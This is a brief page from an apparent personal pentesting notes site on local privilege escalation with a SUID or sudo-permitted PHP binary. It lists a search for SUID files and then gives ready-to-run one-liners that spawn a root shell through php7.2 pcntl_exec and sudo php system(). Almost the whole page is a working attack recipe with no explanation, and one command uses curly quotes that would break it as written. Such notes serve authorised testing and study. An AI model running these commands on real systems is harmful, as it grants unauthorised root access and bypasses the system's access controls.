> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/sudo-+-gtfobins/usr-bin-php7.2.md).

# /usr/bin/php7.2

/usr/bin/php7.2&#x20;

find / -perm -4000 2>/dev/null

**#check out the /usr/bin/php7.2**

```
#To get root, just do:
a) export CMD="/bin/sh" 
b) /usr/bin/php7.2 -r “pcntl_exec('/bin/sh', ['-p']);”

#alternative for /usr/bin/php

CMD="/bin/sh"
sudo php -r "system('$CMD');"

#root
```
